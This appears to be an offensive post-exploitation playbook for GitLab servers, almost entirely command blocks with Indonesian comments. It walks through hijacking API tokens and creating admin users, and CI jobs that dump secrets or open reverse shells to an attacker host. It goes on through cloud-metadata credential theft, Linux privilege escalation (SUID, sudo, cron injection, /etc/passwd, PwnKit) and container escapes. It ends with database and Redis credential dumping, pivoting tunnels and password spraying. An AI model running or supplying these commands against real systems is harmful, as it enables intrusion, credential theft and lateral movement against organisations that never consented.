GitLab Post-Exploitation

1curl -sk -X POST "https://gitlab.target.com/api/v4/personal_access_tokens" \
2  -H "Cookie: _gitlab_session=<session_cookie>" \
3  -d "name=backup&scopes[]=api&scopes[]=sudo"

 1# System info
 2curl -sk -H "PRIVATE-TOKEN: <token>" \
 3  "https://gitlab.target.com/api/v4/metadata"
 4
 5# List all runners
 6curl -sk -H "PRIVATE-TOKEN: <token>" \
 7  "https://gitlab.target.com/api/v4/runners/all"
 8
 9# Application settings
10curl -sk -H "PRIVATE-TOKEN: <token>" \
11  "https://gitlab.target.com/api/v4/application/settings"

 1#!/bin/bash
 2# Tulis output ke file yang bisa diakses via repo
 3exec > /tmp/recon.txt 2>&1
 4id
 5whoami
 6hostname
 7ip addr
 8cat /etc/passwd
 9ls -la /home/
10cat /opt/gitlab/embedded/service/gitlab-rails/config/database.yml
11cat /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

1#!/bin/bash
2bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1

1git clone https://oauth2:<token>@gitlab.target.com/root/project.git
2cd project
3echo "trigger" >> README.md
4git add . && git commit -m "update" && git push

1nc -lvnp 4444

1# 1. Buat project baru
2curl -sk -H "PRIVATE-TOKEN: <token>" \
3  -d "name=infra-test&visibility=private" \
4  "https://gitlab.target.com/api/v4/projects"
5
6# 2. Clone
7git clone https://oauth2:<token>@gitlab.target.com/root/infra-test.git
8cd infra-test

 1stages:
 2  - recon
 3
 4info:
 5  stage: recon
 6  script:
 7    - id && whoami && hostname
 8    - ip addr
 9    - uname -a
10    - cat /etc/os-release
11    - ls -la /home/
12    - env | sort
13    - cat /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml 2>/dev/null || true
14    - cat /opt/gitlab/embedded/service/gitlab-rails/config/database.yml 2>/dev/null || true

1stages:
2  - build
3
4shell:
5  stage: build
6  script:
7    - bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1'

1git add . && git commit -m "init" && git push

1# 1. Buat malicious export tarball dengan symlink / embedded payload
2#    (gunakan public PoC atau buat manual)
3
4# 2. Import via API
5curl -sk -H "PRIVATE-TOKEN: <token>" \
6  -F "path=pwned" \
7  -F "[email protected]" \
8  "https://gitlab.target.com/api/v4/projects/import"

1# 1. Setup fake GitHub API yang redirect ke Redis (gopher://)
2# 2. Trigger GitHub import di GitLab yang mengarah ke fake GitHub
3# 3. GitLab SSRF ke Redis → inject cron job / SSH key

 1# Redis (default port)
 2http://127.0.0.1:6379/
 3
 4# Gitaly
 5http://127.0.0.1:8075/
 6
 7# PostgreSQL (biasanya tidak HTTP, tapi bisa probe)
 8http://127.0.0.1:5432/
 9
10# Sidekiq
11http://127.0.0.1:8082/
12
13# Cloud Metadata
14http://169.254.169.254/latest/meta-data/
15
16# Internal network scan
17http://10.0.0.1/
18http://172.16.0.1/
19http://192.168.1.1/

1curl -sk -H "PRIVATE-TOKEN: <token>" \
2  "https://gitlab.target.com/api/v4/admin/ci/variables"

1# List semua project ID dulu
2curl -sk -H "PRIVATE-TOKEN: <token>" \
3  "https://gitlab.target.com/api/v4/projects?per_page=100" | jq '.[].id'
4
5# Lalu per project
6curl -sk -H "PRIVATE-TOKEN: <token>" \
7  "https://gitlab.target.com/api/v4/projects/<ID>/variables"

1curl -sk -H "PRIVATE-TOKEN: <token>" \
2  "https://gitlab.target.com/api/v4/deploy_keys"

1curl -sk -H "PRIVATE-TOKEN: <token>" \
2  "https://gitlab.target.com/api/v4/snippets"

 1# Clone semua private repos
 2curl -sk -H "PRIVATE-TOKEN: <token>" \
 3  "https://gitlab.target.com/api/v4/projects?per_page=100&visibility=private" \
 4  | jq -r '.[].http_url_to_auth'
 5
 6# Clone
 7git clone https://oauth2:<token>@gitlab.target.com/group/repo.git
 8
 9# Scan dengan trufflehog / noseyparker / gitleaks
10trufflehog git file://./repo --only-verified
11noseyparker scan ./repo

1echo "<key_content>" > key.pem
2chmod 600 key.pem
3ssh -i key.pem deploy@server-ip

1# Via webhook SSRF atau CI script
2curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
3
4# Response = role name, lalu:
5curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>

1{
2  "AccessKeyId": "ASIA...",
3  "SecretAccessKey": "...",
4  "Token": "...",
5  "Expiration": "..."
6}

1export AWS_ACCESS_KEY_ID="ASIA..."
2export AWS_SECRET_ACCESS_KEY="..."
3export AWS_SESSION_TOKEN="..."
4aws sts get-caller-identity
5aws ec2 describe-instances

1curl -s -H "Metadata-Flavor: Google" \
2  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

1curl -s -H "Metadata: true" \
2  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

1curl -sk -H "PRIVATE-TOKEN: <token>" \
2  -d "[email protected]" \
3  -d "password=SecureP@ss123" \
4  -d "username=sysop" \
5  -d "name=System Operator" \
6  -d "admin=true" \
7  -d "skip_confirmation=true" \
8  "https://gitlab.target.com/api/v4/users"

1curl -sk -H "PRIVATE-TOKEN: <token>" \
2  -d "title=workstation" \
3  -d "key=ssh-rsa AAAA... attacker@host" \
4  "https://gitlab.target.com/api/v4/user/keys"

1id                    # uid, gid, groups
2whoami                # current user
3hostname              # nama server
4uname -a              # kernel version (penting untuk kernel exploit)
5cat /etc/os-release   # distro & version

 1# Opsi 1: Python PTY
 2python3 -c 'import pty; pty.spawn("/bin/bash")'
 3
 4# Opsi 2: script
 5script /dev/null -c bash
 6
 7# Setelah dapat bash, fix terminal:
 8# (di reverse shell)
 9export TERM=xterm-256color
10export SHELL=/bin/bash
11stty rows 50 cols 200
12
13# Full upgrade (Ctrl+Z dulu di nc, lalu):
14# stty raw -echo; fg
15# reset

 1# LinPEAS (paling lengkap)
 2curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
 3
 4# Atau download dulu, transfer via nc/curl
 5# Di attacker:
 6python3 -m http.server 8000
 7# Di target:
 8curl http://ATTACKER_IP:8000/linpeas.sh | bash
 9
10# Alternatif: linux-exploit-suggester
11curl -sL https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash

1# Cari semua SUID binaries
2find / -perm -4000 -type f 2>/dev/null
3
4# Cari SGID
5find / -perm -2000 -type f 2>/dev/null
6
7# Gabungan
8find / -perm -u=s -o -perm -g=s -type f 2>/dev/null

 1# find (SUID)
 2find . -exec /bin/bash -p \;
 3
 4# vim (SUID)
 5vim -c ':!/bin/bash'
 6
 7# python3 (SUID)
 8python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
 9
10# env (SUID)
11env /bin/bash -p
12
13# cp (SUID) — overwrite /etc/passwd
14# buat password hash dulu:
15openssl passwd -1 -salt abc password123
16# hasilnya misal: $1$abc$xyz...
17# lalu:
18echo 'hacker:$1$abc$xyz...:0:0:root:/root:/bin/bash' >> /tmp/passwd
19cp /tmp/passwd /etc/passwd
20su hacker  # password: password123
21
22# pkexec (CVE-2021-4034 / PwnKit) — sangat umum
23# jika pkexec ada dan versi lama:
24# download & compile PwnKit exploit

1# Cek apa saja yang bisa di-sudo tanpa password
2sudo -l

 1# sudo docker → instant root
 2sudo docker run -v /:/mnt --rm -it alpine chroot /mnt bash
 3
 4# sudo git
 5sudo git -p help config
 6# di pager, ketik:
 7!/bin/bash
 8
 9# sudo rsync
10sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
11
12# sudo find
13sudo find / -exec /bin/bash \;
14
15# sudo vim/vi
16sudo vim -c ':!/bin/bash'
17
18# sudo env
19sudo env /bin/bash
20
21# sudo awk
22sudo awk 'BEGIN {system("/bin/bash")}'
23
24# sudo less/more
25sudo less /etc/shadow
26# ketik: !/bin/bash
27
28# sudo tar
29sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
30
31# sudo pip / pip3
32TF=$(mktemp -d)
33echo "import os; os.execl('/bin/bash','bash','-p')" > $TF/setup.py
34sudo pip install $TF
35
36# sudo ALL tanpa password (jackpot)
37sudo su -
38# atau
39sudo bash

 1# Lihat crontab system
 2cat /etc/crontab
 3ls -la /etc/cron.d/
 4ls -la /etc/cron.daily/
 5ls -la /etc/cron.hourly/
 6
 7# Lihat crontab user lain (jika readable)
 8cat /var/spool/cron/crontabs/* 2>/dev/null
 9
10# Cari GitLab-specific cron
11cat /var/spool/cron/crontabs/git 2>/dev/null
12cat /var/spool/cron/crontabs/gitlab-runner 2>/dev/null
13
14# Monitor proses yang berjalan (detect hidden cron)
15# Tanpa tools:
16for i in $(seq 1 120); do ps aux | sort -u > /tmp/ps_$i; sleep 1; done
17diff /tmp/ps_1 /tmp/ps_120
18
19# Dengan pspy (jika bisa upload)
20# pspy mendeteksi semua proses baru tanpa root
21./pspy64

 1# Misal: /opt/scripts/backup.sh dijalankan root via cron
 2ls -la /opt/scripts/backup.sh
 3# -rwxrwxrwx 1 root root ... /opt/scripts/backup.sh  ← world-writable!
 4
 5# Inject reverse shell
 6echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh
 7
 8# Atau inject SUID bash
 9echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
10# Tunggu cron berjalan, lalu:
11/tmp/rootbash -p

 1# File konfigurasi penting yang writable
 2ls -la /etc/passwd           # kalau writable → tambah user root
 3ls -la /etc/shadow           # kalau readable → crack password
 4ls -la /etc/sudoers          # kalau writable → instant root
 5ls -la /etc/crontab          # kalau writable → inject cron
 6ls -la /etc/systemd/system/  # kalau writable → buat service root
 7
 8# Cari semua file writable oleh user saat ini
 9find / -writable -type f 2>/dev/null | grep -v proc
10
11# Cari folder writable
12find / -writable -type d 2>/dev/null | grep -v proc
13
14# Systemd service yang writable
15find /etc/systemd/ -writable -type f 2>/dev/null
16find /lib/systemd/ -writable -type f 2>/dev/null

1# Generate password hash
2openssl passwd -1 -salt hacker password123
3
4# Tambah user root
5echo 'hacker:$1$hacker$TDQGqWPbYRmMwMCRyrLDR.:0:0:root:/root:/bin/bash' >> /etc/passwd
6
7# Login
8su hacker
9# password: password123

1# Cari binary dengan capabilities
2getcap -r / 2>/dev/null

 1# cap_setuid → bisa ganti UID ke 0 (root)
 2# Contoh: python3 dengan cap_setuid
 3python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
 4
 5# cap_dac_read_search → bisa baca file apapun
 6# Contoh: tar dengan cap_dac_read_search
 7tar czf /tmp/shadow.tar.gz /etc/shadow
 8tar xzf /tmp/shadow.tar.gz
 9cat etc/shadow   # crack dengan john/hashcat
10
11# cap_net_raw → sniffing (bukan privesc langsung tapi berguna)
12# cap_sys_admin → mount filesystem, bisa escape container
13# cap_sys_ptrace → inject ke proses root

1uname -r          # kernel version
2cat /etc/os-release  # distro version

 1# PwnKit (paling sering berhasil)
 2# Download pre-compiled atau compile sendiri
 3curl -sL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
 4chmod +x PwnKit
 5./PwnKit  # instant root
 6
 7# Dirty Pipe (kernel 5.8+)
 8# Compile exploit, jalankan — overwrite SUID binary
 9
10# Baron Samedit (sudo vulnerability)
11sudoedit -s '\' $(python3 -c 'print("A"*1000)')
12# jika crash = vulnerable

1# Cek apakah di dalam container
2cat /proc/1/cgroup | grep -i docker
3ls /.dockerenv
4hostname  # biasanya random hex string
5
6# Cek apakah docker socket mounted
7ls -la /var/run/docker.sock

1# Mount host filesystem
2docker run -v /:/mnt --rm -it alpine chroot /mnt bash
3# Sekarang kamu root di HOST, bukan di container
4
5# Jika docker command tidak ada, pakai curl:
6curl -s --unix-socket /var/run/docker.sock \
7  -X POST "http://localhost/containers/create" \
8  -H "Content-Type: application/json" \
9  -d '{"Image":"alpine","Cmd":["chroot","/mnt","bash"],"Binds":["/:/mnt"],"Privileged":true}'

1# Cek
2cat /proc/self/status | grep CapEff
3# CapEff: 0000003fffffffff = privileged
4
5# Mount host disk
6mkdir /tmp/host
7mount /dev/sda1 /tmp/host
8chroot /tmp/host bash

1# cgroup escape
2mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
3echo 1 > /tmp/cgrp/x/notify_on_release
4host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
5echo "$host_path/cmd" > /tmp/cgrp/release_agent
6echo '#!/bin/bash' > /cmd
7echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /cmd
8chmod +x /cmd
9echo 0 > /tmp/cgrp/x/cgroup.procs

 1# Jika masuk sebagai user "git" di Omnibus install:
 2gitlab-rails console
 3
 4# Di dalam console (Ruby):
 5user = User.find_by(username: 'root')
 6user.password = 'NewPassword123!'
 7user.password_confirmation = 'NewPassword123!'
 8user.save!
 9
10# Atau buat admin baru:
11user = User.new(username: 'hacker', email: '[email protected]', password: 'Pass1234!', password_confirmation: 'Pass1234!', admin: true)
12user.skip_confirmation!
13user.save!

 1# Omnibus install — berisi secret key base, OTP key, dll
 2cat /etc/gitlab/gitlab-secrets.json
 3
 4# Database credentials
 5cat /var/opt/gitlab/gitlab-rails/etc/database.yml
 6
 7# GitLab config (SMTP creds, LDAP bind password, dll)
 8cat /etc/gitlab/gitlab.rb | grep -i password
 9cat /etc/gitlab/gitlab.rb | grep -i secret
10cat /etc/gitlab/gitlab.rb | grep -i key
11
12# Runner registration token
13cat /etc/gitlab-runner/config.toml

 1# Omnibus install — user git bisa akses DB tanpa password
 2gitlab-psql -d gitlabhq_production
 3
 4# Atau langsung:
 5psql -h /var/opt/gitlab/postgresql -U gitlab -d gitlabhq_production
 6
 7# Query berguna:
 8SELECT username, encrypted_password FROM users WHERE admin = true;
 9SELECT variable, value FROM ci_variables;
10SELECT key, value FROM application_settings;

 1# Interface & IP addresses
 2ip addr
 3ifconfig 2>/dev/null
 4
 5# Routing table — menunjukkan subnet lain yang reachable
 6ip route
 7route -n 2>/dev/null
 8
 9# ARP table — host yang pernah berkomunikasi
10ip neigh
11arp -a 2>/dev/null
12
13# DNS resolver — internal DNS server
14cat /etc/resolv.conf
15
16# Hosts file — mungkin ada internal hostname
17cat /etc/hosts
18
19# Koneksi aktif — menunjukkan service apa saja yang terkoneksi
20ss -tupln
21netstat -tupln 2>/dev/null
22
23# Koneksi established — server lain yang sedang terkoneksi
24ss -tupn state established

 1# Database host
 2grep -i host /var/opt/gitlab/gitlab-rails/etc/database.yml
 3
 4# Redis host
 5grep -i redis /etc/gitlab/gitlab.rb | grep -v '#'
 6
 7# LDAP server
 8grep -i ldap /etc/gitlab/gitlab.rb | grep -v '#'
 9
10# SMTP server
11grep -i smtp /etc/gitlab/gitlab.rb | grep -v '#'
12
13# Object storage endpoint
14grep -i endpoint /etc/gitlab/gitlab.rb | grep -v '#'
15
16# Runner config (bisa punya IP internal)
17cat /etc/gitlab-runner/config.toml 2>/dev/null

 1# Ping sweep — cari host aktif di subnet
 2for i in $(seq 1 254); do
 3  (ping -c1 -W1 10.0.0.$i &>/dev/null && echo "10.0.0.$i UP") &
 4done; wait
 5
 6# Port scan satu host (tanpa nmap)
 7for port in 22 80 443 3306 5432 6379 8080 8443 9090 27017; do
 8  (echo >/dev/tcp/10.0.0.5/$port) 2>/dev/null && echo "$port open"
 9done
10
11# Scan range of hosts + common ports
12for host in $(seq 1 20); do
13  for port in 22 80 443 3306 5432 6379; do
14    (echo >/dev/tcp/10.0.0.$host/$port) 2>/dev/null && echo "10.0.0.$host:$port open"
15  done
16done 2>/dev/null

 1# Upload nmap static binary
 2# Di attacker:
 3python3 -m http.server 8000
 4# Di target:
 5curl http://ATTACKER_IP:8000/nmap-static -o /tmp/nmap && chmod +x /tmp/nmap
 6
 7# Quick scan subnet
 8/tmp/nmap -sn 10.0.0.0/24
 9
10# Port scan discovered hosts
11/tmp/nmap -sT -p 22,80,443,3306,5432,6379,8080,9090 10.0.0.0/24

 1# Local port forward — akses satu service internal
 2# Akses PostgreSQL internal (10.0.0.5:5432) via localhost:5432
 3ssh -L 5432:10.0.0.5:5432 git@gitlab-server
 4
 5# Akses web app internal (10.0.0.10:8080) via localhost:8080
 6ssh -L 8080:10.0.0.10:8080 git@gitlab-server
 7
 8# Dynamic SOCKS proxy — akses SEMUA internal network
 9ssh -D 1080 git@gitlab-server
10
11# Lalu set browser/tool pakai SOCKS5 proxy localhost:1080
12# Atau pakai proxychains:
13echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
14proxychains nmap -sT 10.0.0.0/24
15proxychains curl http://10.0.0.10:8080

 1# Di attacker — jalankan server
 2./chisel server --reverse --port 9999
 3
 4# Di target (GitLab server) — connect back
 5curl http://ATTACKER_IP:8000/chisel -o /tmp/chisel && chmod +x /tmp/chisel
 6/tmp/chisel client ATTACKER_IP:9999 R:socks
 7
 8# Sekarang attacker punya SOCKS proxy di localhost:1080
 9# Pakai proxychains untuk akses internal network
10proxychains nmap -sT 10.0.0.0/24

 1# Di attacker:
 2./proxy -selfcert
 3
 4# Di target:
 5./agent -connect ATTACKER_IP:11601 -ignore-cert
 6
 7# Di attacker (ligolo console):
 8session         # pilih session
 9ifconfig        # lihat interface target
10start           # mulai tunnel
11
12# Tambah route di attacker
13sudo ip route add 10.0.0.0/24 dev ligolo
14# Sekarang bisa akses 10.0.0.x langsung dari attacker

 1# Dari server GitLab langsung
 2psql -h 10.0.0.5 -U gitlab -d gitlabhq_production
 3
 4# Atau via tunnel dari attacker
 5psql -h localhost -p 5432 -U gitlab -d gitlabhq_production
 6
 7# Query penting:
 8# Semua user + password hash
 9SELECT username, encrypted_password, admin FROM users;
10
11# CI/CD variables (mungkin ada creds untuk server lain)
12SELECT project_id, key, value FROM ci_variables;
13
14# Personal access tokens (bisa dipakai tanpa password)
15SELECT user_id, name, token_digest FROM personal_access_tokens WHERE revoked = false;
16
17# Deploy tokens
18SELECT project_id, name, token FROM deploy_tokens;
19
20# Web hooks (mungkin ada URL internal)
21SELECT url, token FROM web_hooks;

 1# Redis biasanya tanpa auth di internal
 2redis-cli -h 10.0.0.6
 3
 4# Dump semua keys
 5KEYS *
 6
 7# Session tokens
 8KEYS session:*
 9GET session:gitlab:<session_id>
10
11# Sidekiq jobs (mungkin ada credentials di job args)
12KEYS queue:*
13LRANGE queue:default 0 -1

 1# Cari SSH keys di server GitLab
 2find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
 3cat /home/*/.ssh/id_rsa 2>/dev/null
 4cat /root/.ssh/id_rsa 2>/dev/null
 5cat /var/opt/gitlab/.ssh/id_rsa 2>/dev/null
 6
 7# Cek known_hosts — server mana saja yang pernah di-SSH
 8cat /home/*/.ssh/known_hosts 2>/dev/null
 9cat /root/.ssh/known_hosts 2>/dev/null
10cat /var/opt/gitlab/.ssh/known_hosts 2>/dev/null
11
12# SSH ke server lain dengan key yang ditemukan
13ssh -i /path/to/key [email protected]
14ssh -i /path/to/key [email protected]

 1# AWS — cek IAM role
 2curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
 3# Gunakan credentials untuk:
 4aws ec2 describe-instances              # list semua server
 5aws s3 ls                                # list S3 buckets
 6aws ssm start-session --target i-xxx     # shell ke EC2 lain
 7aws secretsmanager list-secrets          # cloud secrets
 8
 9# GCP
10curl -sH "Metadata-Flavor: Google" \
11  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
12# Gunakan token:
13gcloud compute instances list
14gcloud compute ssh instance-name
15
16# Kubernetes (jika GitLab di K8s)
17# Service account token biasanya auto-mounted:
18cat /var/run/secrets/kubernetes.io/serviceaccount/token
19# Gunakan:
20kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \
21  --server=https://kubernetes.default.svc \
22  --insecure-skip-tls-verify \
23  get pods --all-namespaces

 1# Password dari database.yml, gitlab.rb, CI variables
 2# Coba ke semua server yang ditemukan:
 3
 4# SSH
 5for host in 10.0.0.{1..30}; do
 6  sshpass -p 'DbP@ssword123' ssh -o StrictHostKeyChecking=no admin@$host id 2>/dev/null && echo "$host SUCCESS"
 7done
 8
 9# MySQL
10mysql -h 10.0.0.5 -u root -p'DbP@ssword123'
11
12# PostgreSQL
13PGPASSWORD='DbP@ssword123' psql -h 10.0.0.5 -U postgres
14
15# Redis
16redis-cli -h 10.0.0.6 -a 'RedisPassword'
17
18# Web admin panels
19curl -s http://10.0.0.10:8080/login -d 'user=admin&pass=DbP@ssword123'

1# Pure bash port forward
2# Forward local port 8888 ke internal 10.0.0.5:5432
3mkfifo /tmp/f
4cat /tmp/f | nc 10.0.0.5 5432 | nc -l 8888 > /tmp/f
5
6# Pure bash SOCKS (sangat terbatas tapi works)
7# Atau pakai socat jika ada:
8socat TCP-LISTEN:8888,fork TCP:10.0.0.5:5432